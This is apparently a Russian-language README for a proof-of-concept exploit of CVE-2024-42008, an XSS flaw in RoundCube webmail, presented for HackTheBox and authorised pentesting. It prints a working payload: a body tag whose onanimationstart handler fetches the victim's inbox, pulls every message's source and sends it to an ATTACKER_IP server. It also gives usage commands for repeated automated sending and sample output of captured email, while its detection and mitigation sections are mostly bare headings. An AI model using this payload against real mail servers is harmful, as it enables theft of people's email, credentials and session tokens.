
Концепт-эксплойт для CVE-2024-42008, уязвимости межсайтового скриптинга (XSS) в веб-почте RoundCube. Доставляет XSS-пейлоады через контактные формы для кражи писем, учётных данных и сессионных токенов в авторизованных средах тестирования на проникновение.
Этот репозиторий содержит proof-of-concept эксплойт для CVE-2024-42008, уязвимости межсайтового выполнения сценариев (XSS) в веб-почтовом приложении RoundCube. Данный эксплойт предназначен для образовательных целей и контролируемых сред тестирования на проникновение, таких как HackTheBox.
Уязвимость существует в rcmail_action_mail_get->run() и позволяет удаленным злоумышленникам выполнять произвольный JavaScript в браузерах жертв. Недостаток связан с недостаточной проверкой входных данных при обработке содержимого электронной почты, особенно в контексте обработки CSS-анимаций и выполнения JavaScript.
Ключевой вектор атаки:
onanimationstart, обходящие фильтры содержимогоУспешная эксплуатация позволяет злоумышленникам:
Эксплойт состоит из трех основных компонентов:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Однократная отправка нагрузки
python cve-2024-42008-exploit.py
# Непрерывный режим (каждые 30 секунд)
python cve-2024-42008-exploit.py -c
# Пользовательский интервал (каждые 60 секунд)
python cve-2024-42008-exploit.py -c -i 60
# Режим отладки с прокси
python cve-2024-42008-exploit.py -d
Отредактируйте скрипт для настройки:
ATTACKER_IP: IP вашего прослушивающего сервераATTACKER_PORT: Порт для приема извлеченных данныхRECIPIENT_EMAIL: Целевой адрес электронной почтыTARGET_URL: Уязвимый экземпляр RoundCubePROXY: Прокси-сервер для отладки (Burp Suite/Caido)| Опция | Описание |
|---|---|
-d, --debug | Включить режим отладки с поддержкой прокси |
-c, --continuous | Отправлять нагрузки непрерывно |
-i, --interval | Интервал между нагрузками (по умолчанию: 30с) |
Индикаторы обнаружения:
onanimationstart в HTMLСтратегии смягчения:
Рекомендации по тестированию:
⚠️ ПРЕДУПРЕЖДЕНИЕ: Данный эксплойт предоставляется только для образовательных целей и авторизованного тестирования.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
Данный код предоставляется только для образовательных целей и авторизованного тестирования на проникновение. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный данным программным обеспечением. Всегда убедитесь, что у вас есть соответствующие разрешения перед тестированием любой системы.